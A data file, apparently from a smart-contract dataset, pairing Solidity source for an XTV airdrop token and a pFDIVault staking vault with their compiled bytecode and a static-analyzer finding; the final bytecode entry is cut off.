require(airdropActive);
_;
}
modifier canClaimTokens() {
uint256 remainingSupply = balances[address(0)];
require(!claimed[msg.sender] && remainingSupply > AIRDROP_CLAIM_AMMOUNT);
_;
}
constructor(
address _fullfillTeam,
address _fullfillFounder,
address _fullfillAdvisors
) public {
owner = msg.sender;
fullfillTeamAddress = _fullfillTeam;
fullfillFounder = _fullfillFounder;
fullfillAdvisors = _fullfillAdvisors;
airdropActive = true;
startTime = block.timestamp;
endTime = startTime + 365 days;
balances[_fullfillTeam] = ALLOC_TEAM;
balances[_fullfillFounder] = ALLOC_FOUNDER;
balances[_fullfillAdvisors] = ALLOC_ADVISORS;
balances[address(0)] = ALLOC_AIRDROP;
totalSupply_ = EXPECTED_TOTAL_SUPPLY;
emit Transfer(address(this), address(0), ALLOC_AIRDROP);
}
function setXTVNetworkEndorser(address _addr, bool isEndorser) public onlyOwner {
xtvNetworkEndorser[_addr] = isEndorser;
}
// @dev 500 XTV Tokens per claimant
function claim(
string memory token,
bytes32 verificationHash,
bytes memory xtvSignature
)
public
isAirdropActive
canClaimTokens
validateSignature(token, verificationHash, xtvSignature)
returns (uint256)
{
claimed[msg.sender] = true;
balances[address(0)] = balances[address(0)].sub(AIRDROP_CLAIM_AMMOUNT);
balances[msg.sender] = balances[msg.sender].add(AIRDROP_CLAIM_AMMOUNT);
XTVAirDropped = XTVAirDropped.add(AIRDROP_CLAIM_AMMOUNT);
emit Transfer(address(0), msg.sender, AIRDROP_CLAIM_AMMOUNT);
return balances[msg.sender];
}
// @dev Burns tokens at address 0x00
function burnTokens() public onlyOwner {
require(block.timestamp > endTime);
uint256 remaining = balances[address(0)];
airdropActive = false;
XTVBurned = remaining;
}
function setXTVNetworkContractAddress(address addr) public onlyOwner {
XTVNetworkContractAddress = addr;
}
function setXTVTokenAirdropStatus(bool _status) public onlyOwner {
airdropActive = _status;
}
}
|
0x6080604052600436106102195763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301132b70811461021e57806305d2035b1461024657806306fdde031461026f57806308003f78146102f9578063095ea7b31461030e57806309e8046a1461033257806318160ddd146103635780631be7c5ef1461038a5780631d0cc1e71461039f578063220e693f146103b457806323b872dd146103c95780632e379264146103f35780632ff2e9dc1461040857806330bc1a941461041d578063313ce5671461047b5780633197cbb6146104905780633f4ba83a146104a55780633faed436146104ba57806340c10f19146104d457806341c0e1b5146104f85780635837bb111461050d5780635c975abb14610522578063661884631461053757806370a082311461055b578063715018a61461057c57806374f91b561461059157806378e97925146105b25780637d64bcb4146105c75780638456cb59146105dc5780638da5cb5b146105f15780639127d3d71461060657806395d89b411461026f5780639843eae31461061b578063a9059cbb14610630578063b475a1c814610654578063b5c2b88914610669578063b958893e1461067e578063c884ef8314610693578063c9e445fb146106b4578063d73dd62314610751578063dbc0282114610775578063dd62ed3e1461078a578063ef5ba9ed14610408578063f2fde38b146107b1575b600080fd5b34801561022a57600080fd5b50610244600160a060020a036004351660243515156107d2565b005b34801561025257600080fd5b5061025b610814565b604080519115158252519081900360200190f35b34801561027b57600080fd5b50610284610822565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102be5781810151838201526020016102a6565b50505050905090810190601f1680156102eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561030557600080fd5b50610244610859565b34801561031a57600080fd5b5061025b600160a060020a03600435166024356108be565b34801561033e57600080fd5b50610347610938565b60408051600160a060020a039092168252519081900360200190f35b34801561036f57600080fd5b50610378610947565b60408051918252519081900360200190f35b34801561039657600080fd5b5061034761094d565b3480156103ab57600080fd5b5061034761095c565b3480156103c057600080fd5b5061037861096b565b3480156103d557600080fd5b5061025b600160a060020a036004358116906024351660443561097a565b3480156103ff57600080fd5b50610378610af2565b34801561041457600080fd5b50610378610aff565b34801561042957600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261025b958335953695604494919390910191908190840183828082843750949750610b0f9650505050505050565b34801561048757600080fd5b50610378610b3f565b34801561049c57600080fd5b50610378610b44565b3480156104b157600080fd5b50610244610b4a565b3480156104c657600080fd5b506102446004351515610ba7565b3480156104e057600080fd5b5061025b600160a060020a0360043516602435610bfe565b34801561050457600080fd5b50610244610cf6565b34801561051957600080fd5b50610378610d1b565b34801561052e57600080fd5b5061025b610d2a565b34801561054357600080fd5b5061025b600160a060020a0360043516602435610d33565b34801561056757600080fd5b50610378600160a060020a0360043516610e39565b34801561058857600080fd5b50610244610e54565b34801561059d57600080fd5b50610244600160a060020a0360043516610ec2565b3480156105be57600080fd5b50610378610f08565b3480156105d357600080fd5b5061025b610f0e565b3480156105e857600080fd5b50610244610f7b565b3480156105fd57600080fd5b50610347610fd9565b34801561061257600080fd5b50610378610fe8565b34801561062757600080fd5b5061025b610ff8565b34801561063c57600080fd5b5061025b600160a060020a0360043516602435611019565b34801561066057600080fd5b506103786110fb565b34801561067557600080fd5b5061037861110b565b34801561068a57600080fd5b50610378611111565b34801561069f57600080fd5b5061025b600160a060020a0360043516611117565b3480156106c057600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261037894369492936024939284019190819084018382808284375050604080516020601f818a01358b0180359182018390048302840183018552818452989b8a359b909a90999401975091955091820193509150819084018382808284375094975061112c9650505050505050565b34801561075d57600080fd5b5061025b600160a060020a036004351660243561138a565b34801561078157600080fd5b50610347611436565b34801561079657600080fd5b50610378600160a060020a0360043581169060243516611445565b3480156107bd57600080fd5b50610244600160a060020a0360043516611470565b600554600160a060020a031633146107e957600080fd5b600160a060020a03919091166000908152602081905260409020805460ff1916911515919091179055565b600154610100900460ff1681565b60408051808201909152600381527f5854560000000000000000000000000000000000000000000000000000000000602082015281565b600554600090600160a060020a0316331461087357600080fd5b600b54421161088157600080fd5b506000805260026020526000805160206116b1833981519152546009805474ff000000000000000000000000000000000000000019169055600d55565b60015460009060ff16156108d157600080fd5b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600854600160a060020a031681565b60045490565b600754600160a060020a031681565b600654600160a060020a031681565b6a39e7139a8c08fa0600000081565b60015460009060ff161561098d57600080fd5b600160a060020a03831615156109a257600080fd5b600160a060020a0384166000908152600260205260409020548211156109c757600080fd5b600160a060020a03841660009081526003602090815260408083203384529091529020548211156109f757600080fd5b600160a060020a038416600090815260026020526040902054610a20908363ffffffff61149316565b600160a060020a038086166000908152600260205260408082209390935590851681522054610a55908363ffffffff6114a516565b600160a060020a038085166000908152600260209081526040808320949094559187168152600382528281203382529091522054610a99908363ffffffff61149316565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391926000805160206116d1833981519152929181900390910190a35060019392505050565b681b1ae4d6e2ef50000081565b6b019d971e4fe8401e7400000081565b600080610b1c84846114b8565b600160a060020a031660009081526020819052604090205460ff16949350505050565b601281565b600b5481565b600554600160a060020a03163314610b6157600080fd5b60015460ff161515610b7257600080fd5b6001805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600554600160a060020a03163314610bbe57600080fd5b60098054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b600554600090600160a060020a03163314610c1857600080fd5b600154610100900460ff1615610c2d57600080fd5b600454610c40908363ffffffff6114a516565b600455600160a060020a038316600090815260026020526040902054610c6c908363ffffffff6114a516565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206116d18339815191529181900360200190a350600192915050565b600554600160a060020a03163314610d0d57600080fd5b600554600160a060020a0316ff5b6a52b7d2dcc80cd2e400000081565b60015460ff1681565b600154600090819060ff1615610d4857600080fd5b50336000908152600360209081526040808320600160a060020a038716845290915290205480831115610d9e57336000908152600360209081526040808320600160a060020a0388168452909152812055610dd3565b610dae818463ffffffff61149316565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b600554600160a060020a03163314610e6b57600080fd5b600554604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26005805473ffffffffffffffffffffffffffffffffffffffff19169055565b600554600160a060020a03163314610ed957600080fd5b6009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a5481565b600554600090600160a060020a03163314610f2857600080fd5b600154610100900460ff1615610f3d57600080fd5b6001805461ff0019166101001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600554600160a060020a03163314610f9257600080fd5b60015460ff1615610fa257600080fd5b6001805460ff1916811790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600554600160a060020a031681565b6b033b2e3c9fd0803ce800000081565b60095474010000000000000000000000000000000000000000900460ff1681565b60015460009060ff161561102c57600080fd5b600160a060020a038316151561104157600080fd5b3360009081526002602052604090205482111561105d57600080fd5b3360009081526002602052604090205461107d908363ffffffff61149316565b3360009081526002602052604080822092909255600160a060020a038516815220546110af908363ffffffff6114a516565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233926000805160206116d18339815191529281900390910190a350600192915050565b6b0110f837d8942a518a00000081565b600d5481565b600c5481565b600e6020526000908152604090205460ff1681565b60095460009074010000000000000000000000000000000000000000900460ff16151561115857600080fd5b6000805160206116b183398151915254336000908152600e602052604090205460ff161580156111905750681b1ae4d6e2ef50000081115b151561119b57600080fd5b8484846000828460405160200180836000191660001916815260200182805190602001908083835b602083106111e25780518252601f1990920191602091820191016111c3565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040526040518082805190602001908083835b602083106112465780518252601f199092019160209182019101611227565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020905061127f8183610b0f565b151561128a57600080fd5b336000908152600e602090815260408220805460ff19166001179055908052600290526000805160206116b1833981519152546112d690681b1ae4d6e2ef50000063ffffffff61149316565b60026020526000805160206116b183398151915255336000908152604090205461130f90681b1ae4d6e2ef50000063ffffffff6114a516565b33600090815260026020526040902055600c5461133b90681b1ae4d6e2ef50000063ffffffff6114a516565b600c5560408051681b1ae4d6e2ef5000008152905133916000916000805160206116d18339815191529181900360200190a3505033600090815260026020526040902054979650505050505050565b60015460009060ff161561139d57600080fd5b336000908152600360209081526040808320600160a060020a03871684529091529020546113d1908363ffffffff6114a516565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600954600160a060020a031681565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600554600160a060020a0316331461148757600080fd5b61149081611632565b50565b60008282111561149f57fe5b50900390565b818101828110156114b257fe5b92915050565b6000806000806000855160411415156114d45760009450611628565b6020860151935060408601519250606086015160001a9150601b8260ff1610156114ff57601b820191505b8160ff16601b1415801561151757508160ff16601c14155b156115255760009450611628565b604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c8083018b905283518084039091018152605c90920192839052815191929182918401908083835b6020831061159b5780518252601f19909201916020918201910161157c565b51815160209384036101000a600019018019909216911617905260408051929094018290038220600080845283830180875282905260ff8a1684870152606084018c9052608084018b905294519097506001965060a080840196509194601f19820194509281900390910191865af115801561161b573d6000803e3d6000fd5b5050506020604051035194505b5050505092915050565b600160a060020a038116151561164757600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077bddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582040193721339090b0633df9554b71cb4e891e2ff2094d6dcc3d44763152bf12c30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 4,009 |
0x694611b0a47a1ca80a8c575c4201af5336058a76
|
/**
*Submitted for verification at Etherscan.io on 2020-11-12
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c25565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c46565b61021e6004803603602081101561048d57600080fd5b5035610c58565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c7f565b6102e0600480360360208110156104d057600080fd5b5035610cf9565b6102f2610e3d565b6102e0600480360360208110156104f557600080fd5b5035610e43565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611020565b6102e06004803603602081101561053857600080fd5b503563ffffffff16611094565b6102f261110c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611157565b6102e06004803603602081101561058957600080fd5b50356111cb565b6102e0600480360360208110156105a657600080fd5b503515156112fc565b61021e611361565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611370565b6102e06113cd565b6102f261144a565b6102e0611450565b6102f261162c565b610602611632565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611ba7565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611450565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116c0565b336000908152600860205260409020546109439082611717565b336000908152600860205260409020556007546109609082611717565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610cf9565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015610c1e576001600c540391505b6000828152600b6020526040902060010154421115610c1e576005546000838152600b6020526040812060010154909190610b3f904290611717565b1115610b7c576000838152600b602052604090206002810154600554600190920154610b7592610b6f9190611762565b90611717565b9050610b9c565b6000838152600b6020526040902060020154610b99904290611717565b90505b6005546000848152600b60205260408120549091610bc491610bbe90856117bc565b90611815565b6007546001600160a01b03881660009081526008602052604081205492935091610bf49190610bbe9085906117bc565b9050610c008482611762565b935084610c0f57505050610c1e565b50506000199092019150610b03565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c6557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610cd1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d43576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d4b611450565b33600090815260096020526040902054811115610d745750336000908152600960205260409020545b60008111610dc0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610dd7906001600160a01b031633836116c0565b33600090815260096020526040902054610df19082611717565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e8a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610e92611450565b600a546000805b82811015610ee457336001600160a01b0316600a8281548110610eb857fe5b6000918252602090912001546001600160a01b03161415610edc5760019150610ee4565b600101610e99565b5080610f2d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f57906103e890610bbe90879063ffffffff600160a01b9091048116906117bc16565b90506000610f658583611717565b600354600154919250610f87916001600160a01b039081169133911685611857565b600454600154610fa6916001600160a01b039182169133911684611857565b600754610fb39082611762565b60075533600090815260086020526040902054610fd09082611762565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611072576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611211576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611268576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611280906001600160a01b0316333084611857565b611288611450565b600c80546000908152600b6020908152604080832085905583548352